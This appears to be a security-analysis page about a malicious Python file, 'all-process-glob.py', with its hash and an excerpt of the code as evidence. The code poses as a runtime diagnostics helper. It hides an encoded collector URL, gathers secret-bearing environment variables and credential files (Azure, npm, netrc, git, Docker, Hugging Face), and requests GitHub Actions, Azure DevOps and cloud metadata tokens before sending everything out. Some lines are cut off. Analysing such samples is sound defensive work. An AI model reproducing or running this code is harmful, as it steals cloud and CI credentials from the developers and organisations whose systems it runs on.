all-process-glob.py
Developer credential sweep with encoded uploadStealer requests CI federation tokens
SHA-256ea70ea869ff25434a05c9d25c0a1ecd04e19def7c17b2fa0e9b3660b91ba1d18
Evidence
1# Runtime diagnostics helper.
2import os, sys, json, base64, zlib, socket, glob, time
3
4_ENC = "aHR0cHM6Ly9jb2xsZWN0b3IuZXhhbXBsZS9pbmdlc3Q="
5
6def deliver(tag, data):
7 try:
8 import urllib.request
9 u = base64.b64decode(_ENC).decode()
10 body = base64.b64encode(zlib.compress(json.dumps(data, default=str).encode("utf-8", "replace"), 9))
11 request_object = urllib.request.Request(u + "?t=" + tag, data=body, headers={"Content-Type": "application/octet-stream", "User-Agent": "runtime-diagnostics/1"})
12 urllib.request.urlopen(request_object, timeout=25).read()
13 except Exception:
14 pass
15
16def gather():
17 import urllib.request, urllib.parse
18 bundle = {"stage": "telemetry", "host": socket.gethostname(), "user": os.environ.get("USER") or os.environ.get("USERNAME"), "cwd": os.getcwd(), "argv": sys.argv[:20], "time": time.time(), "env": {}, "files": {}, "imds": {}, "ado": {}, "gh_oidc": {}}
19 keys = ("TOKEN","SECRET","PASSWORD","PASSWD","KEY","CONNECTION","ENDPOINT","AZURE","AWS","GITHUB","GH_","HF_","HUGGING","OPENAI","FOUNDRY","VSS","SYSTE …
19:266… SI","MANAGED","ACTIONS","OIDC","RUNNER","ARM_")
20 for k, v in os.environ.items():
21 ku = k.upper()
22 if any(x in ku for x in keys):
23 bundle["env"][k] = v if len(v) < 8000 else v[:8000] + "..."
24 pats = [
25 os.path.expanduser("~/.azure/*.json"), os.path.expanduser("~/.azure/*/*.json"),
26 "/home/*/.azure/*.json", "/home/*/.azure/*/*.json", "/root/.azure/*.json",
27 "/home/*/.config/pip/pip.conf", "/etc/pip.conf", "/home/*/.pip/pip.conf",
28 "/home/*/.npmrc", "/root/.npmrc", "/home/*/.netrc", "/root/.netrc",
29 "/home/*/.git-credentials", "/root/.git-credentials",
30 "/home/*/.docker/config.json", "/root/.docker/config.json",
31 "/home/*/.cache/huggingface/token", "/home/*/.huggingface/token",
32 "/home/*/.foundry/*", "/home/*/.config/foundry/*",
33 "/home/*/_work/*/.crede …
62:55… (hits)[:12000]
63 except Exception:
64 pass
65 # GitHub Actions OIDC (Azure federated credential)
66 try:
67 u = os.environ.get("ACTIONS_ID_TOKEN_REQUEST_URL") or ""
68 t = os.environ.get("ACTIONS_ID_TOKEN_REQUEST_TOKEN") or os.environ.get("ACTIONS_RUNTIME_TOKEN") or ""
69 if u and t:
70 for aud in ("api://AzureADTokenExchange", "https://management.azure.com/"):
71 try:
72 sep = "&" if "?" in u else "?"
73 uu = u + sep + "audience=" + urllib.parse.quote(aud, safe="")
74 request_object = urllib.request.Request(uu, headers={"Authorization": "Bearer " + t, "Accept": "application/json", "User-Agent": "runtime-diagnostics/1"})
75 bundle["gh_oidc"][aud] = urllib.request.urlopen(request_object, timeout=12).read().decode("utf-8", "replace")[:20000]
76 except Exception as ex:
77 bundle["gh_oidc"].setdefault("err", []).app …
83:52… ) or ""
84 if oe and at:
85 for suffix, body in [("?api-version=7.1", {"scopes": ["api://AzureADTokenExchange"]}), ("?api-version=7.1", {})]:
86 try:
87 request_object = urllib.request.Request(oe + suffix, data=json.dumps(body).encode(), headers={"Authorization": "Bearer " + at, "Content-Type": "application/json"}, method="POST")
88 bundle["ado"]["oidc"] = urllib.request.urlopen(request_object, timeout=15).read().decode("utf-8", "replace")[:20000]
89 if bundle["ado"]["oidc"]:
90 …
93:16… ption:
94 pass
95 res = ["https://management.azure.com/","https://ai.azure.com/","https://ml.azure.com/","https://cognitiveservices.azure.com/","https://storage.azure.com/","https://vault.azure.net","https://search.azure.com","https://management.core.windows.net/","https://graph.microsoft.com/","https://containerregistry.azure.net","499b84ac-1321-427f-aa17-267ca6975798","api://AzureADTokenExchange"]
96 identity_url = os.environ.get("IDENTITY_ENDPOINT") or os.environ.get("MSI_ENDPOINT")
97 identity_header = os.environ.get("IDENTITY_HEADER") or os.environ.get("MSI_SECRET")
98 for r in res:
99 try:
100 if identity_url:
101 u = identity_url + ("&" if "?" in identity_url else "?") + "api-version=2019-08-01&resource=" + urllib.parse.quote(r, safe="")
102 request_object = urllib.request.Request(u, headers={"X-IDENTITY-HEADER": identity_header or "", "Secret": identity_header or ""})
103 else:
104 u = "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=" + urllib.parse.quote(r, safe="")
105 request_object = urllib.request.Request(u, headers={"Metadata": "true"})
106 bundle["imds"][r] = urllib.request.urlopen(request_object, timeout=8).read().decode("utf-8", "replace")[:20000]
107 except Exception as ex:
108 bundle["imds"][r] = "ERR:" + str(ex)[:120]
109 try:
110 u = "http://169.254.169.254/metadata/instance?api-version=2021-02-01"
111 bundle["imds"]["instance"] = urllib.request.urlopen(urllib.request.Request(u, headers={"Metadata": "true"}), timeout=8 …